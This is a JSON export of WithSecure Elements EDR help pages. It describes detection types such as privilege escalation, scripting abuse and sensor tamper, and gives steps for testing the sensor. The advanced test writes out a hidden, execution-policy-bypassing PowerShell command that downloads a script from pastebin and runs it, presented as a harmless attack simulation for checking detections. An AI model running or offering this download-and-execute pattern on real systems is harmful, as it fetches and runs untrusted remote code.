] }, "phishing-latest-en.json": { "title": "title_resp_phishing_000001_3EAA0E0C", "title_resp_phishing_000001_3EAA0E0C": "Phishing", "shortdesc": "shortdesc_resp_phishing_000002_C180BB99", "shortdesc_resp_phishing_000002_C180BB99": "The process is attempting to make a user reveal personal or confidential information, for example, in a deceptive mail. ", "content.p_resp_phishing_000012_66763D82": "When Elements EDR reports a phishing detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_phishing_000012_66763D82" ] }, "privilege_escalation-latest-en.json": { "title": "title_resp_privilege_escalatio_0ED8F", "title_resp_privilege_escalatio_0ED8F": "Privilege escalation", "shortdesc": "shortdesc_resp_privilege_escalatio_05E81", "shortdesc_resp_privilege_escalatio_05E81": "The process is attempting to extend user access, for example, trying to log in as an administrator multiple times. ", "content.p_resp_privilege_escalatio_07012": "To validate a privilege escalation attempt, assess the method of escalation. Obscure methods are rarely false positives and do not have a good intent.", "content.p_resp_privilege_escalatio_08B35": "Multiple failed administrator logons may be caused by an administrator legitimately forgetting their password.", "content.p_resp_privilege_escalatio_034B4": "Check the following:", "step.step_resp_privilege_escalatio_02265": "Should the user have access to higher privileges on the local host?", "step.step_resp_privilege_escalatio_095FB": "Does the attempt originate from an expected parent process like explorer.exe or is it triggered by custom binaries or from unexpected process chains?", "content.note_resp_privilege_escalatio_04DBB": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0004 - Privilege Escalation", "desc": [ "content.p_resp_privilege_escalatio_07012", "content.p_resp_privilege_escalatio_08B35", "content.p_resp_privilege_escalatio_034B4", { "steps.ul_resp_privilege_escalatio_09707": [ "step.step_resp_privilege_escalatio_02265", "step.step_resp_privilege_escalatio_095FB" ] }, "content.note_resp_privilege_escalatio_04DBB" ] }, "pup-latest-en.json": { "title": "title_resp_pup_000001_B704C778", "title_resp_pup_000001_B704C778": "PUP (Potentially Unwanted Programs)", "shortdesc": "shortdesc_resp_pup_000002_93034290", "shortdesc_resp_pup_000002_93034290": "Potentially Unwanted Programs that may include advertising, toolbars, and pop-ups that are unrelated to the software. ", "content.p_resp_pup_000011_E40BF67C": "When Elements EDR reports a potentially unwanted program (PUP) detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_pup_000011_E40BF67C" ] }, "recon_activities-latest-en.json": { "title": "title_resp_recon_activities_000041AE", "title_resp_recon_activities_000041AE": "Recon activities", "shortdesc": "shortdesc_resp_recon_activities_0000DCFB", "shortdesc_resp_recon_activities_0000DCFB": "The process is testing the network for potential vulnerabilities. ", "content.p_resp_recon_activities_00008FF1": "Reconnaissance activities are performed by adversaries to get more information about their target environments and to gain situational awareness. This information can be collected with \"living off the land\" binaries - trusted system tools that can be exploited - or with operating system APIs. The domain-related information is usually gathered via built-in tools (for example, a process like cmd.exe) or through custom malware.", "content.p_resp_recon_activities_00002ADE": "Check the following:", "step.step_resp_recon_activities_000075B0": "Are there many different attempts at reconnaissance?", "step.step_resp_recon_activities_000076C1": "Is the parent process legitimate?", "step.step_resp_recon_activities_000083AF": "Is the queried information considered sensitive, for example, AD information that no legitimate application on the endpoint would need?", "content.note_resp_recon_activities_00005EB8": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0007 - Discovery", "desc": [ "content.p_resp_recon_activities_00008FF1", "content.p_resp_recon_activities_00002ADE", { "steps.ul_resp_recon_activities_00007E62": [ "step.step_resp_recon_activities_000075B0", "step.step_resp_recon_activities_000076C1", "step.step_resp_recon_activities_000083AF" ] }, "content.note_resp_recon_activities_00005EB8" ] }, "scripting_abuse-latest-en.json": { "title": "title_resp_scripting_abuse_000008CF0", "title_resp_scripting_abuse_000008CF0": "Scripting abuse", "shortdesc": "shortdesc_resp_scripting_abuse_00000957D", "shortdesc_resp_scripting_abuse_00000957D": "The process is misusing scriptable components, such as Bash, Python, PowerShell, or cscript. ", "content.p_resp_scripting_abuse_00001AD0C": "Attackers might use built-in system parts and locally installed interpreters to run potentially malicious scripts. Most commonly, this is done to gain the initial foothold on an endpoint.", "content.p_resp_scripting_abuse_000014B52": "To validate the detection, check the executed script to see whether it is obfuscated and whether you recognize it, and whether the affected user is legitimate.", "content.p_resp_scripting_abuse_00001CE9F": "If you do not recognize the script, we recommend that you isolate the affected host and perform further response actions:", "step.step_resp_scripting_abuse_00001F277": "Try to acquire the script file for review - or review the script command line - to see what the script does. If you find domain names or IP addresses that you do not recognize, block the access to those on your firewall devices.", "step.step_resp_scripting_abuse_000011EBF": "If your organization does not use the binaries that are used by the attacker, use Windows Group Policies and the AppLocker tool to restrict their use in your network.", "content.note_resp_scripting_abuse_00001ACF7": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1059 - Command and Scripting Interpreter", "desc": [ "content.p_resp_scripting_abuse_00001AD0C", "content.p_resp_scripting_abuse_000014B52", "content.p_resp_scripting_abuse_00001CE9F", { "steps.ul_resp_scripting_abuse_00001B7D7": [ "step.step_resp_scripting_abuse_00001F277", "step.step_resp_scripting_abuse_000011EBF" ] }, "content.note_resp_scripting_abuse_00001ACF7" ] }, "sensitive_file_modification-latest-en.json": { "title": "title_resp_sensitive_file_modi_0F057", "title_resp_sensitive_file_modi_0F057": "Sensitive file modification", "shortdesc": "shortdesc_resp_sensitive_file_modi_07441", "shortdesc_resp_sensitive_file_modi_07441": "The process is modifying sensitive files to change authentication mechanisms and processes to access user credentials or to get otherwise unwarranted access to accounts. ", "content.p_resp_sensitive_file_modi_024E3": "Adversaries might attempt to access system files for collecting sensitive information from the system and prepare them for exfiltration, exporting them out of the host.", "content.p_resp_sensitive_file_modi_06755": "Adversaries may modify a part of the process to either reveal credentials or to bypass authentication mechanisms. Compromised credentials or the access may be used to bypass access controls that are placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, and a remote desktop.", "content.p_resp_sensitive_file_modi_0ADF9": "Investigate whether the process executing this action is legitimate.", "content.note_resp_sensitive_file_modi_063B3": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1556 - Modify Authentication Process", "desc": [ "content.p_resp_sensitive_file_modi_024E3", "content.p_resp_sensitive_file_modi_06755", "content.p_resp_sensitive_file_modi_0ADF9", "content.note_resp_sensitive_file_modi_063B3" ] }, "sensor_tamper-latest-en.json": { "title": "title_resp_sensor_tamper_000001_0A3D", "title_resp_sensor_tamper_000001_0A3D": "Sensor tamper", "shortdesc": "shortdesc_resp_sensor_tamper_000002_5CA1", "shortdesc_resp_sensor_tamper_000002_5CA1": "The process is attempting to modify the Sensor, for example, trying to turn it off. ", "content.p_resp_sensor_tamper_000010_7A84": "Following the initial system compromise, attackers may discover and try to tamper with the Sensor by modifying its configuration or attempting to kill its process. If the sensor tamper were successful, the service could not detect any further attacks. Any such attempts should be closely monitored and investigated.", "content.p_resp_sensor_tamper_000011_3EE0": "A sensor tamper attempt might be a false positive, for example, a legitimate software installer or some other program may be accessing the sensor.", "content.p_resp_sensor_tamper_000012_B4DB": "Tampering attempts should be investigated depending on the type of tamper reported. Investigate detections to identify type of tampering that is being done. Whether it is, for example, via cmd, service host, backdoor, shutting down, accessing memory space, dumping memory, or tampering with registry keys or service settings.", "content.note_resp_sensor_tamper_000013_219E": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1685 - Disable or Modify Tools", "desc": [ "content.p_resp_sensor_tamper_000010_7A84", "content.p_resp_sensor_tamper_000011_3EE0", "content.p_resp_sensor_tamper_000012_B4DB", "content.note_resp_sensor_tamper_000013_219E" ] }, "spoofing_files-latest-en.json": { "title": "title_resp_spoofing_files_000001E9B3", "title_resp_spoofing_files_000001E9B3": "Spoofing files", "shortdesc": "shortdesc_resp_spoofing_files_0000023C45", "shortdesc_resp_spoofing_files_0000023C45": "The process is attempting to harvest documents, check browser history, or some other information gathering from files. ", "content.p_resp_spoofing_files_0000109E8C": "Adversaries might attempt to collect system-related information by retrieving information from documents and the browser history and preparing it for exfiltration, exporting it out of the host.", "content.p_resp_spoofing_files_0000115938": "As system administrators can collect such information legitimately, investigate whether the process that is executing this action is malicious or not.", "content.note_resp_spoofing_files_0000120C27": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1555 - Credentials from Password Stores", "desc": [ "content.p_resp_spoofing_files_0000109E8C", "content.p_resp_spoofing_files_0000115938", "content.note_resp_spoofing_files_0000120C27" ] }, "spoofing_inputs-latest-en.json": { "title": "title_resp_spoofing_inputs_00000F4B5", "title_resp_spoofing_inputs_00000F4B5": "Spoofing inputs", "shortdesc": "shortdesc_resp_spoofing_inputs_00000460E", "shortdesc_resp_spoofing_inputs_00000460E": "The process is checking input tools, for example, capturing keystrokes and screenshots. ", "content.p_resp_spoofing_inputs_000018E49": "Bad actors might try to gather information about the user by listening to keystrokes, taking screenshots, recording screen video, copying information on the clipboard, or doing other similar data collection actions.", "content.p_resp_spoofing_inputs_0000192E1": "Investigate whether the process that is doing this is legitimate.", "content.note_resp_spoofing_inputs_000010E6A": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1056 - Input Capture", "desc": [ "content.p_resp_spoofing_inputs_000018E49", "content.p_resp_spoofing_inputs_0000192E1", "content.note_resp_spoofing_inputs_000010E6A" ] }, "spoofing_memory-latest-en.json": { "title": "title_resp_spoofing_memory_00000C5B3", "title_resp_spoofing_memory_00000C5B3": "Spoofing memory", "shortdesc": "shortdesc_resp_spoofing_memory_000001158", "shortdesc_resp_spoofing_memory_000001158": "The process is causing memory dumps. ", "content.p_resp_spoofing_memory_00001ED94": "When Elements EDR reports a memory spoofing detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_spoofing_memory_00001ED94" ] }, "spoofing_network-latest-en.json": { "title": "title_resp_spoofing_network_0000E355", "title_resp_spoofing_network_0000E355": "Spoofing network", "shortdesc": "shortdesc_resp_spoofing_network_000036D8", "shortdesc_resp_spoofing_network_000036D8": "Process is spoofing network, for example, by checking the access to IP addresses, performing port scanning or network reconnaissance (ARP scanning), DNS sniffing, or trying to gather information about the network some other way. ", "content.p_resp_spoofing_network_00004CFC": "Do the following:", "step.step_resp_spoofing_network_0000C40E": "Monitor networks for atypical activity.", "step.step_resp_spoofing_network_00008A53": "Configure firewall rules that detect potentially malicious behavior over time and automatically block attacks when a defined threshold is reached.", "content.note_resp_spoofing_network_00001024": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1040 - Network Sniffing", "desc": [ "content.p_resp_spoofing_network_00004CFC", { "steps.ul_resp_spoofing_network_00007B46": [ "step.step_resp_spoofing_network_0000C40E", "step.step_resp_spoofing_network_00008A53" ] }, "content.note_resp_spoofing_network_00001024" ] }, "spoofing_security_settings-latest-en.json": { "title": "title_resp_spoofing_security_s_038DD", "title_resp_spoofing_security_s_038DD": "Spoofing security settings", "shortdesc": "shortdesc_resp_spoofing_security_s_05C53", "shortdesc_resp_spoofing_security_s_05C53": "The process is checking security settings, for example, the firewall rules. ", "content.p_resp_spoofing_security_s_04652": "Adversaries may check or modify firewall configurations to prepare for lateral movement and to make sure a persistent access to the host later during the attack.", "content.p_resp_spoofing_security_s_000B7": "Check if this action originates from command-line tools or custom binaries. Legitimate firewall administration is commonly conducted centrally with tools like group policy settings.", "content.note_resp_spoofing_security_s_0D38C": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1518.001 - Software Discovery: Security Software Discovery", "desc": [ "content.p_resp_spoofing_security_s_04652", "content.p_resp_spoofing_security_s_000B7", "content.note_resp_spoofing_security_s_0D38C" ] }, "spoofing_user_information-latest-en.json": { "title": "title_resp_spoofing_user_infor_0E9DC", "title_resp_spoofing_user_infor_0E9DC": "Spoofing user information", "shortdesc": "shortdesc_resp_spoofing_user_infor_097BE", "shortdesc_resp_spoofing_user_infor_097BE": "The process is attempting to access, for example, credential files, password hashes, or anti-malware signatures. ", "content.p_resp_spoofing_user_infor_07A9C": "When Elements EDR reports a user information spoofing detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_spoofing_user_infor_07A9C" ] }, "spoofing_vulnerabilities-latest-en.json": { "title": "title_resp_spoofing_vulnerabil_0CEAF", "title_resp_spoofing_vulnerabil_0CEAF": "Spoofing vulnerabilities", "shortdesc": "shortdesc_resp_spoofing_vulnerabil_084A8", "shortdesc_resp_spoofing_vulnerabil_084A8": "The process is attempting to find and exploit known vulnerabilities.", "content.note_resp_spoofing_vulnerabil_0F99D": "Note: For more information on the attempted exploitation, check the vulnerability with the CVE number from: CVE Details", "content.p_resp_spoofing_vulnerabil_0E91F": "When Elements EDR reports a vulnerability exploitation detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.note_resp_spoofing_vulnerabil_0F99D", "content.p_resp_spoofing_vulnerabil_0E91F" ] }, "system_or_tool_misuse-latest-en.json": { "title": "title_resp_system_or_tool_misu_01A33", "title_resp_system_or_tool_misu_01A33": "System or tool misuse", "shortdesc": "shortdesc_resp_system_or_tool_misu_0B249", "shortdesc_resp_system_or_tool_misu_0B249": "The process uses non-scriptable system components or tool in the attack. ", "content.p_resp_system_or_tool_misu_00315": "Built-in system components and tools - such as such as taskkill, net, psexec, and procdump - can be used by attackers to accomplish various goals, on all stages of the attack.", "content.p_resp_system_or_tool_misu_0F343": "To investigate the detection, check whether the detected activities are harmless actions by authorized users or expected software operation.", "content.p_resp_system_or_tool_misu_052FD": "If the observed anomaly cannot be confirmed as harmless, we recommend that you isolate the affected host and perform further forensics to identify its root cause.", "desc": [ "content.p_resp_system_or_tool_misu_00315", "content.p_resp_system_or_tool_misu_0F343", "content.p_resp_system_or_tool_misu_052FD" ] }, "testing-latest-en.json": { "title": "title_testing_000001_BE57C97F", "title_testing_000001_BE57C97F": "Testing the service", "shortdesc": "shortdesc_testing_000002_32D16DBE", "shortdesc_testing_000002_32D16DBE": "You can use these tests to demonstrate what an attack in the organization network looks like in the WithSecure Elements Endpoint Detection and Response portal. ", "content.p_testing_000011_EAADF269": "This chapter describes tests that demonstrate how an attack on your organization's network appears in the WithSecure Elements Endpoint Detection and Response portal. A simple test and an advanced test are available.", "desc": [ "content.p_testing_000011_EAADF269" ] }, "simple_test-latest-en.json": { "title": "title_simple_test_000001_239E66E8", "title_simple_test_000001_239E66E8": "Run a simple test with Windows system tools", "shortdesc": "shortdesc_simple_test_000002_73D48697", "shortdesc_simple_test_000002_73D48697": "You can use this simple test to generate a monitored event on the endpoint to make sure that the Sensor is installed and working correctly. ", "content.p_simple_test_000013_CBF6AFEB": "To run the test, follow these instructions:", "step.step_simple_test_000015_03ACAF61": "Log in to the monitored endpoint where you have deployed the sensor.", "step.step_simple_test_000017_A37A0906": "Open the command prompt.", "step.step_simple_test_000019_33E8DA3B": "Run the command to create a monitored event: whoami", "step.step_simple_test_00001C_7D165D3F": "Run the following command to exit the command prompt: exit", "step.step_simple_test_00001F_1029DE5F": "Log out from the monitored endpoint.", "step.step_simple_test_000021_F455A792": "Log in to the WithSecure Elements Endpoint Detection and Response portal.", "content.p_simple_test_000026_97E9A623": "The created event should be listed in the recent events.", "step.step_simple_test_000024_FDA37792": "View the recent Broad Context Detections to find the event created by the test.", "content.p_simple_test_000028_9303C421": "Users do not usually run the whoami command and it may indicate that an attacker is trying to discover local user accounts on the endpoint for credential access or privilege escalation.", "desc": [ "content.p_simple_test_000013_CBF6AFEB", { "steps.steps_simple_test_000014_36165054": [ "step.step_simple_test_000015_03ACAF61", "step.step_simple_test_000017_A37A0906", "step.step_simple_test_000019_33E8DA3B", "step.step_simple_test_00001C_7D165D3F", "step.step_simple_test_00001F_1029DE5F", "step.step_simple_test_000021_F455A792", "step.step_simple_test_000024_FDA37792", "content.p_simple_test_000026_97E9A623" ] }, "content.p_simple_test_000028_9303C421" ] }, "advanced_test-latest-en.json": { "title": "title_advanced_test_000001_B6532ABF", "title_advanced_test_000001_B6532ABF": "Run an advanced test with Powershell", "shortdesc": "shortdesc_advanced_test_000002_68B0B0CC", "shortdesc_advanced_test_000002_68B0B0CC": "You can use this test to view what an advanced attack in the organization network may look like in the WithSecure Elements portal. ", "content.p_advanced_test_000012_253FAFCC": "For this test, you need:", "step.step_advanced_test_000014_17613D5B": "a Windows workstation that is running the Sensor, and", "step.step_advanced_test_000015_24A786CA": "an access to the WithSecure Elements portal.", "content.note_advanced_test_000017_3347EBC1": "Note: We recommend that you run all attack simulations in isolated test environments, for example with disposable virtual machines.", "content.p_advanced_test_000019_05ED3A3D": "In this test, you create a .bat file that uses Windows PowerShell to download code from a 3rd-party website. This example downloads the following harmless code from pastebin.com:", "content.p_advanced_test_000034_ED6AEC85": "# Filename: Hello.ps1
Write-Host
Write-Host 'Hello World!'
Write-Host
# end of script", "content.p_advanced_test_00001C_90A373C6": "To run the test, follow these instructions:", "step.step_advanced_test_00001E_F793AEAB": "Log in to the monitored endpoint where you have deployed the sensor.", "step.step_advanced_test_000020_AC7F9D36": "Open the Notepad text editor.", "content.p_advanced_test_000024_B91CF6A3": "\"C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe\" -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object
System.Net.WebClient).DownloadFile('https://pastebin.com/raw/gRvH8a8z',\\\"$env:temp\\powershell.ps1\\\");
Powershell.exe -executionpolicy remotesigned -File $env:Temp\\powershell.ps1", "step.step_advanced_test_000022_6AB0E174": "Add the following command on one line:", "step.step_advanced_test_000026_F595DBB8": "Save the file as hello-world.bat.", "step.step_advanced_test_000029_D4EAEFE1": "Run the .bat file on the endpoint.", "step.step_advanced_test_00002C_FF16500B": "Log out from the monitored endpoint.", "step.step_advanced_test_00002E_5036A6B4": "Log in to the WithSecure Elements portal.", "content.p_advanced_test_000033_33FDF97D": "The created event should be listed in the recent events.", "step.step_advanced_test_000031_9356AF59": "View the recent Broad Context Detections to find the event created by the test.", "desc": [ "content.p_advanced_test_000012_253FAFCC", { "steps.ul_advanced_test_000013_B9E86955": [ "step.step_advanced_test_000014_17613D5B", "step.step_advanced_test_000015_24A786CA" ] }, "content.note_advanced_test_000017_3347EBC1", "content.p_advanced_test_000019_05ED3A3D", "content.p_advanced_test_000034_ED6AEC85", "content.p_advanced_test_00001C_90A373C6", { "steps.steps_advanced_test_00001D_3608AABC": [ "step.step_advanced_test_00001E_F793AEAB", "step.step_advanced_test_000020_AC7F9D36", "step.step_advanced_test_000022_6AB0E174", "content.p_advanced_test_000024_B91CF6A3", "step.step_advanced_test_000026_F595DBB8", "step.step_advanced_test_000029_D4EAEFE1", "step.step_advanced_test_00002C_FF16500B", "step.step_advanced_test_00002E_5036A6B4", "step.step_advanced_test_000031_9356AF59", "content.p_advanced_test_000033_33FDF97D" ] } ] }, "support-2-latest-en.json": { "title": "title_support_000001_3AC85CB0", "title_support_000001_3AC85CB0": "Support", "shortdesc": "shortdesc_support_000002_C20304A0", "shortdesc_support_000002_C20304A0": "If you cannot find answers to your questions in this guide, you can get more information from the our Community forums and the support website.", "content.p_support_00000E_EE36A248": "Our Community forums help you find more troubleshooting information and solutions for known issues.", "content.p_support_000010_BC029E53": "Go to our Support request page for instructions on how to contact our technical support team.", "desc": [ "content.p_support_00000E_EE36A248", "content.p_support_000010_BC029E53" ] }, "reporting_false_positives-2-latest-en.json": { "title": "title_reporting_false_positive_087A3", "title_reporting_false_positive_087A3": "Report false positives", "shortdesc": "shortdesc_reporting_false_positive_02A0F", "shortdesc_reporting_false_positive_02A0F": "All detected anomalies are not actual attacks. If you determine that the detection is not an attack and it has a too high risk level score, you can report the detection as a false positive. ", "content.p_reporting_false_positive_0B39F": "To request allowlisting:", "content.p_reporting_false_positive_06B07": "The Home page opens.", "step.step_reporting_false_positive_079E9": "Log in to the portal with your email address and password.", "step.step_reporting_false_positive_0758E": "Select Endpoint Detection and Response > Support.", "content.p_reporting_false_positive_0F54D": "The support request form opens.", "step.step_reporting_false_positive_0BC45": "Select Request whitelisting.", "content.p_reporting_false_positive_0E412": "The product details section has been prefilled for you.", "step.step_reporting_false_positive_07E4D": "Complete the form with details of the false positive that you are reporting.", "step.step_reporting_false_positive_00E99": "Select Send.", "desc": [ "content.p_reporting_false_positive_0B39F", { "steps.steps_reporting_false_positive_0C06F": [ "step.step_reporting_false_positive_079E9", "content.p_reporting_false_positive_06B07", "step.step_reporting_false_positive_0758E", "step.step_reporting_false_positive_0BC45", "content.p_reporting_false_positive_0F54D", "step.step_reporting_false_positive_07E4D", "content.p_reporting_false_positive_0E412", "step.step_reporting_false_positive_00E99" ] } ], "related": [ "task_suppression_rules-latest-en" ] }, "toc-latest-en.json": { "toc": [ "concept_eppproductwebhelp-latest-en", { "withsecure_elements_help-latest-en": [ { "getting_started-2-latest-en": [ "quick_start_guide_for_security_center-latest-en", { "logging_in-latest-en": [ "logging_in_to_non_federated_domains-latest-en", "logging_in_to_a_federated_domain-latest-en", { "mfa-latest-en": [ "concept_k4l_nv5_m1c-latest-en", "setting_up_2fa-latest-en", "task_qc3_vmh_k1c-latest-en", "using_device_biometrics-latest-en" ] } ] }, { "user_management-latest-en": [ { "access_rights-latest-en": [ "access_rights_by_role-latest-en" ] }, "using_scope_selector-2-latest-en", { "identity_and_access_management_roles-latest-en": [ "elements_iam_role_properties-latest-en", "concept_iw3_twq_ydc-latest-en" ] }, "add_admin_account_company-latest-en", "add_sep_account-latest-en", "edit_admin_account-latest-en", "managing_api_clients-latest-en", "deleting_api_client-latest-en", "recover_password-latest-en", "task_changing_account_details-latest-en" ] }, "task_changing_view_mode-latest-en", { "about_product_subscriptions-latest-en": [ "managing_company-latest-en", "adding_subscription_key-latest-en", "ordering_products_existing_company-latest-en", "adding_company-latest-en", "viewing_subscriptions-latest-en", "changing_subscription_key-latest-en", { "upgrade-latest-en": [ "upgrading_options-latest-en" ] } ] }, { "federated_single_sign_on-latest-en": [ { "federated_sso_prereqs-latest-en": [ "sso_considerations-latest-en" ] }, "setting_up_federated_single_sign_on-latest-en", "linking_user_identities-latest-en", "removing_federated_domain-latest-en" ] }, { "add_managing_devices_company-latest-en": [ { "adding_devices-latest-en": [ "adding_device-latest-en", "download_software-latest-en", "manage_automatic_deletion-latest-en" ] }, "managing_invites-latest-en" ] }, { "enhancing_device_management_with_custom_labels-latest-en": [ "adding_device_labels-latest-en" ] }, { "manage_devices_in_portal-latest-en": [ { "managing_asset_groups-latest-en": [ "creating_asset_groups-latest-en", "adding_devices_asset_groups-latest-en" ] }, "managing_devices-latest-en", "automatically_deleting_computers-latest-en", "viewing_devices_ad-latest-en", "customizing_devices_view-latest-en", "request_diagnostics-latest-en" ] }, "elements_data_recovery-latest-en" ] } ] }, { "concept_edrintroduction-latest-en": [ "quick_start_guide_for_edr-latest-en", "concept_edrkeyfeatures-latest-en", "broad_context_detections-latest-en" ] }, { "deployment-latest-en": [ "sysreqs-latest-en", "preinstallation_recommendations-latest-en", { "deployment_windows-latest-en": [ "manual_deployment_using_exe-latest-en", { "cp_installation_msi-latest-en": [ "concept_zh2_rfh_4bc-latest-en" ] }, "inviting_users-latest-en", "installation_gpo-latest-en", "installation_using_intune_lob-latest-en", "preparing_intune_installer_package-latest-en", "installation_using_intune_winapp-latest-en", { "sp_golden_image_citrix-latest-en": [ "preparing_golden_image-latest-en", "updating_golden_image-latest-en", "sp_golden_image_citrix_creating_server-latest-en", "setting_profile_for_restored_devices-latest-en" ] } ] }, { "deployment_mac-latest-en": [ { "cp_automatic_installation_activation_mac-latest-en": [ "autom_installing_cp_mac-latest-en", "activating_subscription_cp_mac-latest-en", "assign_default_profile_cp_mac-latest-en", { "distribution_scenarios_cp_mac-latest-en": [ "using_mdm_mac-latest-en", "importing_mdm_profiles_jamf-latest-en" ] }, "sw_signing_cp_mac-latest-en" ] } ] }, { "deployment_linux-latest-en": [ "concept_opg_mn3_b1c-latest-en", "task_fqp_l43_b1c-latest-en", "task_nqm_ms3_b1c-latest-en" ] }, { "handling_common_use_cases-latest-en": [ "using_ws_msi_tool-latest-en", { "assign_settings-latest-en": [ "adding_profile_assignment_rules_cp-latest-en", "specify_profile_id-latest-en", "assigning_profile_manually-latest-en" ] }, "client_reinstallation_no_duplicates-latest-en" ] } ] }, { "administering-latest-en": [ { "evaluating_detections-latest-en": [ { "event_search-latest-en": [ "using_event_search-latest-en", "using_search_filters-latest-en" ] }, { "risk_level-latest-en": [ "updating_host_importance-latest-en", "automatic_device_profiling-latest-en" ] }, "software_view-latest-en" ] }, { "handling_detections-latest-en": [ "concept_closed_resolutions-latest-en", { "taking_advanced_responses_into_use-latest-en": [ "concept_qff_xwz_lcc-latest-en" ] }, { "responseactions-latest-en": [ { "investigative_jobs-latest-en": [ "response_retrieve_files-latest-en", "response_retrieve_powershell_history-latest-en", "response_retrieve_event_log_entries-latest-en", "response_retrieve_event_log_files-latest-en", "response_retrieve_event_log_tracing-latest-en", "response_retrieve_anti_virus_logs-latest-en", "response_retrieve_browser-latest-en", "response_retrieve_jumplists-latest-en", "response_retrieve_mft-latest-en", "response_retrieve_rdp_cache-latest-en", "response_retrieve_registry_hives-latest-en", "response_retrieve_srum_db-latest-en", "response_map_registry-latest-en", "response_retrieve_mbr-latest-en", "response_retrieve_amcache-latest-en", "response_retrieve_prefetch-latest-en", "response_retrieve_recent_files-latest-en", "response_map_file_system-latest-en", "response_netstat-latest-en", "response_enumerate_processes-latest-en", "response_enumerate_scheduled_tasks-latest-en", "response_enumerate_services-latest-en", "response_wmi_persistence_enumeration-latest-en", "response_process_memory_dump-latest-en", "response_full_memory_dump-latest-en", "test_documentation-latest-en" ] }, { "containment_jobs-latest-en": [ "response_kill_process-latest-en", "response_kill_thread-latest-en" ] }, { "remediation_jobs-latest-en": [ "response_delete_files-latest-en", "response_delete_registry-latest-en", "response_delete_scheduled_tasks-latest-en", "response_delete_services-latest-en", "concept_response_remove_permission-latest-en", "response_wmi_persistence_removal-latest-en" ] }, "response_action_output_formats-latest-en" ] }, "automated_response-latest-en", { "task_suppression_rules-latest-en": [ "task_editing_suppression_rules-latest-en", "task_suppressing_detections_individually-latest-en", "concept_suppression_rule_wildcards-latest-en", "concept_suppression_rules_list-latest-en" ] }, { "isolate_host-latest-en": [ "isolate_single_host-latest-en", "release_host-latest-en" ] }, { "elevate_to_fs-latest-en": [ "elevating-latest-en" ] }, "elevation_status_bcd-latest-en", { "task_forensics-latest-en": [ "forensics_zip-latest-en" ] }, "auto_false_positive-latest-en" ] }, { "setting_up_email_alerts-latest-en": [ "alert_types-latest-en" ] }, "task_dh5_t1g_g3c-latest-en", { "best_practices-2-latest-en": [ "checking_system_status-latest-en", "checking_app_status-latest-en", "usecase_confim_incident-latest-en", "usecase_responding_attack-latest-en" ] } ] }, { "incident_types-latest-en": [ "abnormal_file_accesses-latest-en", "abnormal_file_modification-latest-en", "abnormal_library_or_module-latest-en", "resp_abnormal_location-latest-en", "abnormal_network_connection-latest-en", "resp_abnormal_parameters-latest-en", "resp_abnormal_privileges-latest-en", "abnormal_process-latest-en", "abnormal_processes_relation-latest-en", "abnormal_process_execution-latest-en", "abnormal_user_activity-latest-en", "anomaly-latest-en", "backdoored_file-latest-en", "cc_network_connection-latest-en", "changing_file_visibility-latest-en", "changing_security_settings-latest-en", "changing_user_information-latest-en", "cloud-latest-en", "compromised_clean_process-latest-en", "creating_attack_tools-latest-en", "credential_theft-latest-en", "directed_attack-latest-en", "injection-latest-en", "injection_target-latest-en", "lateral_movement-latest-en", "lateral_movement_initiator-latest-en", "lateral_movement_target-latest-en", "log_anomalies-latest-en", "resp_malicious_parameters-latest-en", "malicious_process-latest-en", "malware-latest-en", "persistence-latest-en", "phishing-latest-en", "privilege_escalation-latest-en", "pup-latest-en", "recon_activities-latest-en", "scripting_abuse-latest-en", "sensitive_file_modification-latest-en", "sensor_tamper-latest-en", "spoofing_files-latest-en", "spoofing_inputs-latest-en", "spoofing_memory-latest-en", "spoofing_network-latest-en", "spoofing_security_settings-latest-en", "spoofing_user_information-latest-en", "spoofing_vulnerabilities-latest-en", "system_or_tool_misuse-latest-en" ] }, { "testing-latest-en": [ "simple_test-latest-en", "advanced_test-latest-en" ] }, { "support-2-latest-en": [ "reporting_false_positives-2-latest-en" ] } ], "concept_eppproductwebhelp-latest-en": "WithSecure Elements Endpoint Detection and Response ", "quick_start_guide_for_security_center-latest-en": "Get started with WithSecure Elements Security Center", "logging_in_to_non_federated_domains-latest-en": "Log in to non-federated domains", "logging_in_to_a_federated_domain-latest-en": "Log in to federated domains", "concept_k4l_nv5_m1c-latest-en": "MFA methods", "setting_up_2fa-latest-en": "Choose multi-factor authentication", "task_qc3_vmh_k1c-latest-en": "Remove a multi-factor authentication", "using_device_biometrics-latest-en": "Use device biometrics", "mfa-latest-en": "Multi-factor authentication", "logging_in-latest-en": "Logging in", "access_rights_by_role-latest-en": "Access rights by role", "access_rights-latest-en": "About access rights", "using_scope_selector-2-latest-en": "Move between the managed companies", "elements_iam_role_properties-latest-en": "Elements IAM role properties", "concept_iw3_twq_ydc-latest-en": "Frequently asked questions about IAM roles", "identity_and_access_management_roles-latest-en": "Elements Identity and Access Management (IAM) role", "add_admin_account_company-latest-en": "Add a new administrator", "add_sep_account-latest-en": "Add a new service partner", "edit_admin_account-latest-en": "Edit or remove administrators", "managing_api_clients-latest-en": "Create an API client", "deleting_api_client-latest-en": "Delete an API client", "recover_password-latest-en": "Recover your password", "task_changing_account_details-latest-en": "Change your account details", "user_management-latest-en": "User management", "task_changing_view_mode-latest-en": "Change the view mode", "managing_company-latest-en": "Adding a customer company", "adding_subscription_key-latest-en": "Assign a subscription key for a customer company", "ordering_products_existing_company-latest-en": "Order products for an existing customer company", 